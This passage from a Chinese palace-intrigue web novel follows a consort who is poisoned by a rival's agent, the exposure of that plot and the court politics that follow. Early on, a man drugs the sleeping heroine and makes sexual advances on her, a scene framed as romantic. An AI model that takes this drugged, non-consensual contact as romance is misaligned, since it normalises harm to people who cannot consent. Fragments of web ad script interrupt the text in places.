他神色如常,眼神丝毫不见波动,脑海里却在回放着先前安宁软软地依偎进明帝怀里,将脸埋进去背过身不理他的那一幕。明帝的眼神他不会看错,写满了疼惜。他伸手扶在栏杆上,只听见咔嚓一声轻响,栏杆被捏断。 他眺望着天边的夕阳,谁也不知他到底在想什么。 安宁苏醒后挪回了自己的帐篷,周嫔仍是跟了过来陪她。宫人们送来晚膳,两人坐在一处用膳。帐篷的幕帘掀起了一半,安宁看着外头人来人往,宫人侍卫都是忙忙碌碌地样子。周嫔顺着她的视线往外看了一眼,却误会了她的意思,开口安慰:“明日寅初就要开始祭天仪式,圣上今夜也要沐浴斋戒,诵祷经文,还有许多旁的琐碎事情要准备,怕是不能过来。” 安宁收回视线:“姐姐呢?” 周嫔道:“祭天仪式有王嫔主持,原本你我也需到场,如今你病着,我还是得去。不过也不急于一时,我身上的事情不多。” 安宁道:“姐姐,我好了许多,明日要起那么早,今夜你早点回去歇息。都怪我,累得你这几日都没休息好。” “不怪你。”周嫔微微笑道,“我原本睡得就浅,换了地方更是难以入睡。左右睡不着,陪着你倒算是有事情打发时间了。” 话虽如此,用完晚膳安宁还是早早就劝了周嫔回去休息。 她虽然好转了许多,但身上余毒未清,加之先前发了一场高热,浑身软绵绵地没有什么力气。周嫔走了之后她就躺下闭目假寐,白薇进来见她安静地躺着,便吹灭了帐篷里旁的蜡烛,只留了桌上一盏小灯照明,又放下了厚重的幕帘门,悄无声息的退到了帐篷外,在门口站守着。 白蔻从侍女的小帐篷里出来,见白薇站守在帐篷门口,返身去拿了件厚披风出来给她:“姑姑,草场夜寒风大,你披一件别受了寒。” 白薇接过披在身上,白蔻不放心,又进帐篷检查了一遍。见安宁呼吸清浅并无不适已经进入了梦乡,这才退了出来陪在白薇身旁。 虽然已经夜深,因为寅时便要举行仪式的原因,围场内仍然十分忙碌。不远处树立起了祭台,巨大的青铜鼎也已经摆放到位,火把熊熊燃烧着,将内场照得如同白昼。 白薇和白蔻看着不远处正在准备的祭台,两人有一搭每一搭的低声聊说着话。距离他们稍远地王帐周围守卫森严,相较而言,安宁所处地帐篷四周围虽然时不时有巡逻的士兵经过,与王帐相比就松懈了许多。 一道黑影顺着帐篷间交错地阴影准确地避开了巡逻的士兵,他对整个营地的布防巡逻显然十分熟悉,轻而易举就摸到了安宁的帐篷后,蹲下身拔掉了地上的一颗楔钉,掀起一角躬身而入。 朦胧的烛光下,安宁睡得正沉。 他慢慢走到床榻边,站在她身旁注视着她的睡颜。烛火投下了他的阴影,将她完全笼罩。她平躺着微微侧着头,露出了白皙的颈部和肩头,粉嫩的耳垂精致得如同玉雕的花瓣,让他凝神看了半晌。 他从腰间摸出一个瓷瓶,在她鼻端绕了绕,一股异香飘起。他一挥手劲风袭过,吹灭了帐篷里唯一的一根蜡烛。 安宁昏昏沉沉间,觉着身旁的床榻沉了下去,似有人躺在了她身侧。他伸手将她拥入了怀中,可他身上没有一贯让她安心地温暖,反而带着一股湿冷,隐约间似乎还有外面青草的味道。 帐篷里一片昏暗,他看不清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的脸,于是用唇描绘着她的轮廓。他抵着她的额头,听着她轻轻的呼吸声。她的身体仿佛没有骨头一样,入手让他丝毫不敢多用一分力气,唯恐伤了她,可又想狠狠用力将她碾进自己怀抱里。 他抬起手轻轻抚摸她的脸颊,在她耳边低声轻唤:“阿宁。” 阿宁,阿宁。 炽热的唇终于落下覆盖在她的唇上。这么多日的思念在这一刻具象化,终于她不再是回忆里的幻象,不是伸手不可触不可得之人,她这么真实地在他怀里,能感受到她的体温,她的曲线,能闻到独属于她的,让他迷醉的味道。 安宁神智不清,想动,动弹不得,身体仿佛又变作了石头。这一次神智似乎也被巨石压着,她怎么挣扎都无法清醒。 她柔弱无骨的身躯毫不反抗地在怀,他渐渐遏制不住自己内心腾烧的火焰。 安宁浑身如火烧一样,这种强烈的刺激将她昏沉的神智撬开了一道缝隙。她不知是梦是幻,一片昏暗中似乎有人紧紧拥抱着她在向她索取。这种逐渐愈演愈烈的焚烧感她曾经体会过,在荷塘的小舟里,数次都被伯言拉扯进了感官的熔炉中。 是梦吧。这样潮湿不容她退却的吻,只有伯言才会这般霸道。可梦里的伯言远比记忆里的他危险,他想突破占有她,这让她觉得十分心慌。她想抵抗,浑身动弹不得,她想说话,却只发出了小猫呢喃一般轻轻的声音。 外面忽然传来一声巨响,宫人们在运送巨大原木的时候绳索突然断裂,沉重地木头砸在草地上。一时间许多巡卫都朝那处围了过去。门口白薇和白蔻也往那处抬头张望。 帐篷外隐隐的喧哗也惊动了他,让他的理智回归。他知道不能久留,眷恋地在她唇上印下一吻,低声在她耳边道:“我会带你走。”他阴郁地宣誓,“属于我的东西,谁也别想从我手上夺走。” 安宁醒了。天色将明未明,几缕晨曦从营帐的缝隙洒入。她就像是即将溺毙的人从水里猛然浮出水面,猛地睁开眼睛大口喘息着。 她抬手按着自己额头,头还是昏沉得厉害,浑身酸软没有力气。 昨夜的梦境那般鲜明,似乎身体还残留着那种被熔岩包裹的感觉。她咽了口口水,口渴得厉害,嗓子里仿佛在冒火。她动了动,身上衣衫凌乱,感觉到身体异样的黏腻,她红了脸。 白薇掀帘而入,她进来查看未曾想安宁已经苏醒:“昭仪,你醒了?” 安宁有些迟疑地开口询问:“昨夜……圣上可来过?” “昨夜圣上一直在准备祭天的仪式。”白薇走到安宁身旁,见她脸庞红得不自然,“您可是还觉着不适?奴婢这就去请太医。” “不用。”安宁叫住了白薇,“等白日太医来请脉时就可。许是帐篷里闷得厉害,让白蔻打些热水来替我梳洗。” 白薇应了一声退下,安宁坐起身,褪去自己身上胡乱挂着的寝衣,褪到一半她停下了手,猛地将衣衫拉起把自己紧紧包裹。她的眼里充满了惊惧,她左胸白皙的皮肤上有一道血红的吻痕,来人似乎刻意要刻下自己的印记一般,那吻痕就像一朵血色的梅花在她胸前绽放。 不是梦? 她的手指用力收紧,昨夜昏昏沉沉中的一切又浮上了脑海。她猛地起身掀开被子,整个人又近乎虚脱地坐下。床榻上没有落红。 是梦? 她用双手蒙住脸,陷入了深深的疑惑中。 58. 57 王嫔主持祭天仪式回宫后不久,太后下了懿旨,册封她为惠妃。她成为了真正的后宫第一人。一时间惠妃风头无两,整个后宫的嫔妃们都去恭贺逢迎。 宫里的下人们更是将奉承做到了极致,一副以她为后的架势。敬事房重新做了惠妃的牌子,管事亲自送到永和宫请她过目。惠妃看了一眼,别的牌子只有花纹和名字,名字用朱漆漆过,牌位涂有绿漆。妃位的牌子上有鎏银的花纹,这般放在一众绿头牌中十分显眼。 她眼里露出了满意的笑容。 敬事房的管事道:“惠妃娘娘,这牌子都是咱们最好的师傅精心打磨了又打磨的,只盼娘娘能万事顺意,永承圣宠。” “会说话。”惠妃看向身侧的香巧,“赏。” 香巧一个眼风,小宫女们捧来了赏银交给管事。管事笑得不见眉眼,嘴里连连说着吉祥话。 惠妃听完了他车轱辘一样的恭维话,开口询问:“圣上这些日子,都翻了哪些人的牌子?” “回娘娘的话,圣上翻的妃嫔不多,除了您,周嫔娘娘,只得一个白选侍,噢,如今已经是白才人了。她从储秀宫出来,挪去了启祥宫与周嫔娘娘同住。” 惠妃眉头微蹙:“圣上还没有翻宁昭仪的牌子?” 管事公公回道:“宁昭仪在围场中了毒,如今还在调养身体,绿头牌早就撤下了。一直没有复牌。” 惠妃看着管事公公:“我看你是个机灵的。”她给了个眼风给香巧,香巧笑盈盈地上前,单塞了一锭金子在他怀里:“日后有事儿还要多仰仗公公。” “不敢!”管事公公赶紧跪地叩首,“能为娘娘做事是小的天大的福气!” 敬事房的人离开以后,姚贵人和江贵人又恭贺了惠妃一回。惠妃意兴阑珊:“外人看着我风光,你们还不知么?这个妃位并非圣上属意,而是太后所定。圣上的心全在宁昭仪那里。她进宫多久了?两个来月了吧?进宫这么久都没有侍寝,圣上还这般宠爱。这若是有朝一日……这后宫只怕是她一人的天下。” 姚贵人道:“娘娘,只要有太后一日,您这宝座便稳如泰山。” 惠妃看着从殿外投进来映在地面的光影栅栏没有说话。 江贵人轻轻道:“终究是个祸患。先帝当年偏宠邓贵妃,太后娘娘也曾一度被欺压得幽居深宫,我看咱们圣上疼爱宁昭仪这个模样,同先帝相比,有过之而无不及。宁昭仪这个张狂的性子,邓贵妃如何能及她万一?她若得势……” 姚贵人侧身看向江贵人:“也不知她有没有这个福分?我看她身子就不太好。听说入宫前还曾落水,请了抱病免选。如今这病也养了有一阵子了,也没见着好?” 惠妃仄仄道:“那金环蛇毒性猛烈,哪儿那么容易就能拔清余毒?我看她运气倒挺好,若非遇到摩诃世子恰巧有解药,如今只怕坟头的草都一尺高了!” 江贵人悠悠道:“恐怕她是身子单薄,承不起那么大的福气。这一病,还不一定怎么回事。娘娘不妨安心再看看,或许老爷天就给她收了呢?” 姚贵人听江贵人话里有话,没有摸清她葫芦里卖的什么药,询问地看向她。江贵人避开了她的视线,低头吃了一口茶,并未言语。 明帝掠过大殿,进了毓德宫的寝殿。顾珂柔见着他前来,起身行礼。他微微点头,视线落到躺在榻上的安宁身上:“她这是又睡了一天?” 顾珂柔的神色间带着隐有:“是。昏昏沉沉的,中途虽然醒过一两次,也不过只撑了小半个时辰就又睡了过去。” 明帝坐到安宁身旁,轻轻握住她的手,入手寒凉:“太医来看过没有?” 顾珂柔道:“来过了,只说是余毒未清,伤了内腑,旁的没有多言。” 安宁回宫之后,莫名变得嗜睡,刚开始还当她是因为中毒后身体虚弱所以精神不济。养了这段日子她昏睡的时候越来越长。明帝这几日来探她,来了十次只有三四次遇着她清醒,余下的时间竟都沉睡着。 “宁儿。”明帝微微俯身轻唤,“宁儿?” 安宁缓缓睁开眼睛:“四叔,你来了?” 他扶着她坐起身,在她身后垫了一个软垫让她依靠着:“你可有觉得什么不适?” 安宁摇摇头,没什么精神地开口:“就是困,总想睡,总觉着怎么睡都睡不够。” 明帝同黄大伴道:“宣曹院判来。” 曹院判拿了安宁的脉案仔细看了又看,又细细替安宁把脉,他神色间的疑虑没有逃过明帝的眼睛:“宁昭仪如何?” “回禀圣上。”曹院判道,“原本为昭仪请脉的医官判断十分准确,老臣看过他记录的脉案和开的方子,以昭仪的情况,早该清除了体内的余毒才对。可从脉象看,昭仪中毒不浅,且毒入肺腑。此毒让人困乏嗜睡,初期并无其它症状,待累积到一定程度却会立刻毒发身亡,药石难救。且下毒之人拿捏准了时机,毒性被昭仪体内的蛇毒掩盖,实在阴毒。” 明帝神色一凝:“你的意思是,昭仪昏睡并非因蛇毒的缘故,而是有人刻意加害?” “非蛇毒所致。”曹院判捋了捋胡子,“老臣随师父游历时曾去过皖南一带,这是从当地一种特有的藤蔓汁液里提取的毒素,若量拿捏得好,对失眠之人有奇效。若用得过量,就是剧毒。此物极其罕见知晓的人不多,老臣也是少年时恰好见过方知。” 在场众人闻言皆是一惊,明帝缓缓捏紧了拳头。 曹院判说完不敢抬头,深知此事恐怕涉及了后宫的阴私。此时保持沉默才是明智之举。 “劳烦院判亲自看顾昭仪。”明帝缓缓开口,“先替她祛毒。” 曹院判拿了银针去做准备,一旁的白薇上前双膝跪地:“是奴婢看顾昭仪不周,请圣上降罪!” 明帝微抬手手示意白薇起身:“朕知你尽心竭力。你且好好照顾着昭仪,将功补过。” 顾珂柔眉头紧皱:“曹大人方才说此药需累积到一定程度毒发,可见这药也已经下了一段时日。宫里防备得这般严密,毒是怎么下进来的?” 明帝沉声道:“既然能无声无息地看准这个时机下在她身上,想来是有内应,才能做到这般不知不觉。这些日子多留些心,想法子把这内应揪出来。” 毓德宫里人伺候的人不多,原本进来的每一个人都是经白薇和陈公公精挑细选才得以入内。顾珂柔从储秀宫挪出来与安宁同住之后,内务府指派了几个人过来伺候,按品级有一个管事姑姑、一个贴身宫女、两个粗使宫女、带两个徒弟的掌事公公共七人。 如果除了纰漏,内应大概率是这七个人之一。这些日子毓德宫表面上没有任何风吹草动,实则陈公公和白薇都打起了十二分的精神,仔细地盯着宫里的这些人。 宫里的小厨房毓德宫的宫人平日里并不可随意出入。但负责清洗餐具的宫女会用木盆将器具装了在侧院的井边涮洗。顾珂柔下面一个叫桑叶的粗使宫女与负责清洗餐具的宫女丁香交好,得空会去帮她,两人一边洗一边聊天,很是姐妹情深的样子。 桑叶帮丁香清洗干净了餐具,会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 帮她一起把木盆抬回小厨房,然后把东西一一摆放回厨房的柜子里。 桑叶正同丁香一起往柜子里放碗筷的时候,小厨房的门被推开,陈公公带着两个徒弟站在门口,小厨房里的两人一惊,随即向着陈公公行礼:“公公。” 陈公公挥了挥手,两个徒弟上前拿住了桑叶,一个用东西堵了她的嘴,一个将她双手反剪在背后捆住。陈公公看了看吓得不知所措的丁香:“走吧,你也随着我们走一遭。” 两人被带到暖阁,一抬头见明帝正坐在其上,桑叶吓得腿都软了,两个小太监一松手她就瘫软在地,浑身抖得不成样子。 “说罢。”陈公公对桑叶道,“你怎么把毒下进去的?” 桑叶抖抖索索说不出话:“奴婢……奴婢……” 陈公公凉凉道:“既然拿了你,便知是你所为。你若是好好交代清楚,一人做事一人当,取了你的性命就是。若是还要挣扎,那便是灭九族的事情,你自个儿好好想想。” 桑叶抬头看了一眼,满眼明黄的龙袍和明帝阴沉地怒容,她不敢再看,磕头如捣蒜:“奴婢交代!奴婢交代!” 桑叶从头上取下一朵簪花:“都在,都在这里。” 陈公公接过那簪花转交给明帝过目。明帝拿起来看了片刻没有瞧出端倪。桑叶道:“奴婢这簪花,用毒汁浸泡过。每次帮丁香清洗餐具时,奴婢会趁机将绒花弄湿,然后趁着去放置餐具的时候,把毒汁挤到昭仪熬药的罐子里。” 丁香闻言啊了一声,面色惨白地匍匐在地不停磕头:“圣上饶命!奴婢不知!” 明帝就着灯火看那簪花,果然绒花是湿的。他放下发簪:“谁指使的你?” 丁香颤抖着,犹豫了片刻终究还是供了出来:“是江贵人身边的嬷嬷让奴婢去做的这事。奴婢的父亲在温国公麾下任职,奴婢实在不敢不从。” 明帝点了点头:“好。”他看向黄大伴,“去请江贵人来。” 江贵人被请到毓德宫,一见明帝端坐其上丁香跪在下头面色便是一白,仍强笑着同明帝行礼:“臣妾参见圣上,圣上万安。” 明帝拿起那发簪用力扔到了江贵人面前:“你可知此物?” 江贵人拾起发簪看了看:“臣妾不知。” 明帝问丁香:“是哪个嬷嬷?” 丁香迟疑地看向江贵人身边的管事嬷嬷,后者咬咬牙,出来噗通跪下:“圣上!是老奴有心寻仇,此事与贵人无关!” 明帝面无表情地看着她。嬷嬷猛磕了几个响头:“老奴原是三公子的奶娘!三公子大好的前途,就因与昭仪马球武斗,落了个右手残疾!老奴实在恨昭仪,这才寻了机会报仇!” 嬷嬷话音未落,明帝一挥手,桌上的瓷瓶茶盏都飞了出去,砸在地上碎了满地。满屋的人都跪了下去,口称:“圣上息怒!” 明帝笑了笑,眼神冰冷:“报仇?你好大的能耐,能弄到这罕见的毒汁,又好大的能耐,能买通毓德宫的宫人。我且问你,你下的是什么毒,从何而来?” 嬷嬷张口结舌说不出话来,只得不停磕头。 明帝将视线转向一旁面如死灰的江贵人,他的目光击溃了她,江贵人匍匐在地:“圣上饶命!” 世子府里,摩诃正在练字,心腹悄然进了房间道:“世子,宫里传来消息,江贵人被剥去了等级封号打入了冷宫。” 摩诃手中一顿:“事情败露了?” 心腹道:“是。” 摩诃缓缓落下一笔:“那就走下一步罢。” 59. 58 安宁醒了。 她睁开眼睛,见姐姐顾珂柔撑着头坐在床边打盹儿。白薇低着头坐在脚踏上在做针线,感觉到安宁的动静她抬起头,赶紧将手里的针线放到簸箩里:“昭仪,你醒了?” 顾珂柔闻言也惊醒了过来看向安宁,两人见安宁这次清醒之后眼神中的晦暗之色褪去了许多,不由得都暗自松了口气,看来曹院判施针拔毒颇有效果。白薇扶安宁坐起身,顾珂柔摸了摸她的额头,柔声问询:“饿不饿?想不想吃点什么?” 安宁这一次醒来,觉着整个人清醒了不少。之前总是昏昏沉沉,整个人浑浑噩噩,这会儿听姐姐一提,有了饥饿的感觉:“饿,想吃东西。” 白薇赶紧应下:“奴婢这就去吩咐。” 白蔻进来传话:“昭仪,贵人。周嫔娘娘来了。” 周嫔进了屋子见安宁坐着,露出了笑容:“想着过来看看你,正好赶上你醒了。前几日每次来,你都昏睡着。”她坐下仔细端详了一番安宁的面色,“看着精神多了。”她转眼看向顾珂柔,“我才听说江贵人的事情,她好歹毒的心思。” 安宁昏睡中尚且不知发生了何事:“江贵人怎么了?” 顾珂柔将事情原原本本同安宁说了一遍,末了道:“她出身温国公府的旁支,咬死了是因为当日你在马球场和江韬武斗,导致他右手落了残疾怀恨在心,因此才想报复。太后娘娘降了懿旨,将江贵人剥了名分打入冷宫。圣上查到这里,也就只好罢了。” 安宁沉默着没有说话。周嫔见状轻轻握住她的手:“便是知道她后面还有人,太后娘娘降了旨,这事儿也只好到此为止,只当她真是为了她家三哥报仇。” “我原本只想安安生生的过我的日子,岂料她们一而再,再而三的想要置我于死地。好一出连环计,围场放毒蛇不成,就借着毒蛇的毒性掩盖下毒。”安宁气红了眼睛,“姐姐,咱们就这般由着她们欺负不成?!” 顾珂柔安抚安宁:“她身后是太后娘娘,是整个王氏,想要动她谈何容易?” “动不了她,就与她争!与她抢!去做那个能主宰他人生死的人!”安宁看向姐姐和周嫔,“咱们是想过安生日子,她愿意让我们过安生日子吗?这样的人若真入主中宫,哪儿能容得下其他人半分?!” 顾珂柔与周嫔对视一眼,周嫔劝道:“你还病着,不要太动气,气大伤身。” “周姐姐。”安宁抓住了周嫔的手,“我宁愿你是皇后。” 周嫔面色微微一变,赶紧伸手捂住了安宁的嘴,低斥道:“病糊涂了吗?这种话也能浑说?!” 安宁拉下周嫔的手:“她今日连连拿我开刀,可是我做过什么?不过是嫉恨我得四叔的宠爱。若是除了我,下一个便是我姐姐和你!她只能容忍臣服于她势力的人,或归属于王氏家族的附属之人存在于这个后宫之中!周姐姐,与其等着被人放暗箭,不如我们自个儿主动争一争!” 周嫔与顾珂柔一时间均陷入了沉默。三人正相顾无言时,外面传来了通报声:“圣上驾到。” 顾珂柔与周嫔赶紧起身接驾。明帝进了内殿,见安宁正坐在那处看着他,看着整个人清醒了许多,心里也是一喜,快走几步上前:“感觉如何了?” “四叔。”安宁扁了扁嘴,委屈地看着他,眼眶一红含着泪花,“我到底做错了什么事情,她们非要置我于死地不可?我真恨她们!” 明帝闻言微怔,看了看顾珂柔和周嫔,知晓她们肯定同她说了实情。后两者见安宁和明帝有话要说,安静地行礼退了下去。 待只剩他们二人,明帝才轻声劝慰:“不是你的错,是她们被权势蒙蔽了双眼。她们嫉恨的从来也不是你从我这里得到的宠爱,她们想要的是借着我这个皇帝的身份所能得到的东西,怕你挡了她们的路,所以才会对你除之而后快。说起来,还是因为我让你入宫,才连累了你。” 安宁偎进朱弘辉的怀里:“四叔,我害怕。我运气好,逃脱了一次两次,可我运气能一直这么好吗?再有下次,我是不是就没命了?” 她在他怀里微微颤抖着,他握着她的肩头,心里泛起了强烈的心疼和内疚。 烛火将他二人相拥的影子投在青砖地面上,他注视着地上的影子,想起这十几年来在这深宫中,他总是独自一人。夜深时他便是这般孤寂的注视着自己的影子,一直是他一个人。 他情不自禁地微微用力,现在他有了她,在丝毫不知他身份的情况下,走进他心里的第一个人。 他身为帝王,却如同提线木偶一般,事事都被太后操控掌握。他明知毒蛇和投毒的事情必然同惠妃脱不开关系,太后降了懿旨处罚了江贵人,他也只能让事情到此为止。惠妃这般无所顾忌做事阴毒,不正是因为背靠太后和王氏家族? 他身为帝王,却连自己喜欢的人都保护不了。诚如她所言,她运气好逃脱了两次,她还能逃脱第三次吗?若是她真因此丢了性命,他能不能为她讨回半分公道?他能作何?怕是只能继续忍受惠妃的存在,甚至忍受她成为皇后,只因她是太后属意的人选,是王氏家族的嫡女。 那种被操纵被压抑的感觉简直就像森森的洪水将他整个人吞没,让他窒息。他心里蓄积地阴暗在这一刻达到了顶峰。 他低声对她说:“有我。” 太后曾在大行皇帝灵前许下诺言,待他十八岁时,便还政与他。他距离十八岁眼看着只剩三两月,太后似乎已经完全将诺言忘在了脑后,丝毫没有提起,也没有任何让他亲政的举措或态度。 不给他便自己去夺回来!唯有如此他才能挺直了腰为人,才有能力保护自己想要保护的人。他是先帝的血脉,名正言顺的帝位继承人,皇权旁落太久,也该回到他的手中了。他低头吻了吻她的额头,再度向她保证,同时也是在坚定自己的决心:“有我。” 惠妃从慈宁宫回来满脸不愉,姚贵人过来请安,见状问道:“娘娘怎么脸色不太好?” 惠妃冷笑一声:“如今旁人做的事情,桩桩件件都算到我头上来了!还说是什么连环计,围场放毒蛇在先,借着蛇毒的掩盖下毒再后。太后将我训斥了一番,可这些事情我哪儿知晓半分?全然是那江贵人自作主张!” 姚贵人原本觉着惠妃把江贵人视作了心腹,将她排除在外,所以江贵人去做这些事,没有让她知晓。但眼下看来,这些事情惠妃确实不知情。她思忖片刻:“江贵人自作主张,反倒连累了娘娘,便是娘娘说此事同您无关……太后娘娘都觉着江贵人背后的人是您,恐怕宁昭仪她们更会这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 般认为。” 惠妃怒道:“她愿这般作想便由她!” “娘娘。”姚贵人出言劝诫,“宁昭仪作何想,并不重要,重要的是,圣上会怎么认为。宁昭仪会在圣上面前说些什么。您说是不是?” 惠妃一滞,眉目间涌上了愁容。姚贵人所言何尝不是她担心的事情? “娘娘。”姚贵人道,“娘娘不妨以退为进,先稳住圣心。” 惠妃深深地叹了口气。 “娘娘。”周公公着急地进来禀告,“圣上来了!” 屋里两人一怔,同时起身接驾。这还是朱弘辉第一次主动来永和宫,惠妃心里又惊喜又忐忑,摸不准他是因何而来。 朱弘辉大步进了内殿,走到主位上落座,他视线落到姚贵人身上:“你下去。” 姚贵人见明帝神情冷厉,暗道不好,行礼退下后赶紧去了慈宁宫向王太后通风报信。 朱弘辉居高临下地看着惠妃一言不发,片刻后缓缓起身走到她身旁,惠妃抬起头:“圣上……” 话音未落,一记响亮的耳光落在了她脸上。打得她眼冒金星跌倒在地,她好一会儿才缓过劲来,捂着自己的脸震惊地看着明帝:“圣上!” “朕不敢留你这样毒蝎心肠的人在枕侧。”朱弘辉神情淡漠,看着她的眼神冰冷,“传朕旨意,降惠妃为昭仪,禁足永和宫。” “圣上!”惠妃急了,扑上前抱住他的腿,“圣上可是因为宁昭仪的事情怨我?可此事同我实无半点干系!毒蛇也好,下毒也罢,都非我指使,是江贵人……” 明帝低下头看着她:“自然不是你。就算做下再狠毒的事情,犯下再大的罪过,怎么能是你?你只需要安坐在幕后,让前头的人为你冲锋陷阵就够了。出了事儿就将自己摘得干干净净,撑起你那张贤良淑德的外皮!全你王氏女母仪天下的气度!” 他话中的森然让她不寒而栗,她顾不上别的,举手发誓:“圣上,此事若同我有半点干系,让我天打五雷轰,不得好死!” 他用力拂开她,不愿再同她多说一个字,拂袖而去。 姚贵人前脚去慈宁宫报信,明帝将惠妃降为王昭仪的消息后脚就传了过去。王太后闻言皱起了眉头:“什么?” “太后,您仔细身子。”王大伴赶紧安抚她,“圣上也是一时怒极……” 王太后抬起手阻止王大伴继续说下去:“惠妃妒心太重,让她吃点苦头也好。”她顿了顿吩咐,“你去点些好东西,送到毓德宫去。” 惠妃被贬为昭仪禁足永和宫,太后娘娘不仅没有为她出头,反倒给毓德宫送来了厚赏。 安宁坐在大殿里,看着眼前堆得满满地赏赐,实在弄不清太后的想法,她问顾珂柔:“姐姐,你说这是为何?” 周嫔道:“许是王昭仪做事太过,圣上动了真怒。太后娘娘便是再偏向王氏女,还是要顾忌圣上的感受。左右只是贬了位份禁足,没有伤到筋骨,再用赏赐安抚,让这件事情先揭过去平息了再说。” 顾珂柔微皱着眉头:“太后定然是不愿中宫宝座被旁人染指。圣上宠爱宁儿太过,太后非但不阻止,反倒一直纵容。从宁儿进宫,到数次与惠妃起冲突,太后都没有偏向惠妃。她的所思所为,实在让人想不通看不透。” 60. 59 惠妃被降为昭仪的第二日,册封安宁为宁嫔的旨意便送到了毓德宫。 王嫔被贬被禁足,太后不曾替王嫔言语过半分,反倒给毓德宫送去了厚赏。安宁升了位份,明帝又对她偏宠,一时间宫里风向大变,那些原本想着依附王嫔的墙头草纷纷倒向安宁,来贺喜逢迎的人络绎不绝。 安宁对这些人烦不胜烦,假借身体不适尚需静养,将来人尽数挡在了宫门外。 顾珂柔看着安宁的册封宝册,眉头紧皱不知在想些什么。安宁抱住姐姐的胳膊:“姐姐,怎的我被册封为嫔,你这般忧虑?” “你若只是昭仪,周姠为嫔,王洛瑶为嫔或妃,这后宫的局势,从太后的角度出发或从王氏家族的利益角度出发,是平衡的。周大人虽贵为内阁首辅,是三大辅政重臣之首,但周姠只是他的嫡孙女,隔了一辈,她父亲周玉只是吏部一个普通的四品文官。周大人年事已高,撑不了几年便会致仕,周嫔身后无人,翻不起大的风浪,她和王洛瑶初进宫同为嫔位,乃是太后看在周大人劳苦功高的份上,对周家的赏赐。 可如今王洛瑶从惠妃被贬为昭仪,圣上封了你为嫔,咱们又与周嫔交好,整个后宫以你与她为首,局势又截然不同。祖父甘居次辅之位十数年,明眼人都知待周大人致仕必是祖父取而代之。祖父力壮,我父如今已官居三品,你的父亲更是凌云州的统帅,手中握着实打实的中军大权,其势堪比西北封王也不为过!圣上不管如何偏宠你,没有动王家的根本利益,都不打紧。如今你尚未侍寝便越格封了嫔位,触犯了王氏家族的利益底线,不是好事,你明白吗?” 安宁问顾珂柔:“姐姐是怕咱们被卷入更深的漩涡?” 顾珂柔忧虑地点了点头。 “姐姐。”安宁叹了口气,“我也是经历了这几次的事情才明白这个道理,无论愿与不愿,咱们已经身处这个漩涡里。不想人为刀狙我为鱼肉,只能我为刀俎他为鱼肉!不作为并非善良而是愚蠢。诚如你所言,是否触犯王氏家族的利益底线,有什么区别?他们要维护自己已得的东西,就要把咱们扼杀在摇篮里。是不是?” 顾珂柔叹了口气,担心地看着安宁:“从现在起,咱们真要打起十二分的精神了。” 然后后宫风平浪静,没有预想中的暗箭,发难的是前朝。 惠妃被贬后,在王氏的指使下各路言官的上书雪片一般蜂拥而至,一部分替惠妃鸣冤,指她在闺中时温婉娴静,入宫后更是深得后宫妃嫔爱戴,只因莫须有的罪名被江贵人连累竟然被贬,实在冤屈,求替惠妃平反。而更多的上书则是斥责宁嫔跋扈,指责她初入宫就在宫中违反宫禁纵马伤人,还指责她在宫中豢养猛禽致使后宫不宁,更有妃嫔因此受伤。甚至翻出了她当初在开阳时鞭打王庭世子少布抗婚的旧事。更有甚者,暗指惠妃被贬,正是因为宁嫔的阴谋诡计。一桩桩一件件数落下来,不知情者看过去,只觉安宁劣迹斑斑又蛊惑明帝,实属奸妃妖妃无疑。 消息不仅在京城传开,更是传向了大宁全国乃至外部,一时间人人都在议论宁嫔,议论她如何蛊惑人心,议论明帝对她盲目的偏宠。 谣言越传越离谱,也不知从什么时候起,谣言的风向从议论宁嫔转而议论明帝,他在口口相传中渐渐成了一个不问政事只知沉迷美色、浑噩又暴躁易怒的昏君。 安宁此时才知晓王氏家族的厉害,后宫没有任何风吹草动,她已是岌岌可危。 她身在后宫面对前朝各路言官这般疯狂的上书却没有任何法子,只能眼睁睁看着王氏操控言路造势。她心中郁郁,枯坐在房里思索对策,奈何想来想去也没有找到破局之法。 内寝的门被推开,顾珂柔领着白蔻进了房间。白蔻手里端着托盘,上面放着一盅鱼肉粥。两人一进门,鲜香的味道就在屋里弥漫。 “听说你早膳都没用。”顾珂柔示意白蔻放下粥,亲自将瓷勺递给安宁,“不吃东西怎么行?” 安宁不得不接过:“姐姐,我没有胃口。” “我倒觉着放心了不少。”顾珂柔揭开瓷盅的盖子,“先前想不通太后的所思所为,如今看来她没有偏帮王昭仪,一则可以落个公正的名声;二则只需纵容圣上宠爱你,就能拿住把柄如今发难;三则……”她轻轻推了推瓷盅,责备地看着她,“吃一点。” 安宁正认真地听着:“三则什么?” 顾珂柔看了眼白蔻,后者会意行礼退下,闭好了内寝的大门守在门口。顾珂柔这才轻轻道:“圣上要满十八了。” 安宁不解:“怎么?” “你一直生活在开阳,对京里的事情不了解。”顾珂柔督促妹妹吃东西,“大行皇帝仙去,圣上不到三岁就继位,太后垂帘听政,周大人,祖父还有保国公辅政,这些你应该都听说过。” 安宁一边吃粥,一边点点头。 顾珂柔轻轻道:“那你可知,太后曾在大行皇帝牌位前许诺,待到圣上满十八岁,就还政于他?” 安宁虽然对京里的局势了解不多,但听姐姐一点拨,立刻便明白了其中的干系。她微微瞪大了眼睛看着姐姐。 “本就不是冲着你去的,你只是被他们借来用的那支箭。”顾珂柔道,“他们要击溃的是圣上。中宫是谁悬而未定,并不重要。重要的是大权依旧握在太后手中,王氏家族依然挺立。” 安宁放下了手中的瓷勺,定定地看着姐姐。她一直知晓姐姐在为进宫做准备,也知晓家里一早就打算把姐姐送进宫,此时她泛起了不安:“姐姐,我是不是……挡了你的路了?” “你在说什么呢?”顾珂柔温柔地笑着,拿手帕按了按安宁的唇角,“我若不愿进宫,如今不是已经指婚去了路亲王府?是我也好,是你也罢。无论是谁,都是顾家的女儿,都是顾家的庇护,对不对?你护着我就是护着你自己,我护着你也是护着我自己。你怎么会挡我的路?这条路如今是我们姐妹一起携手同行才是。” 话虽如此,这些日子她越发明白姐姐和自己的不同。她在开阳被父母娇养,父亲虽然教会了她许多为人处世的道理,却从未教过她对大局的分析和如何深宫争斗。 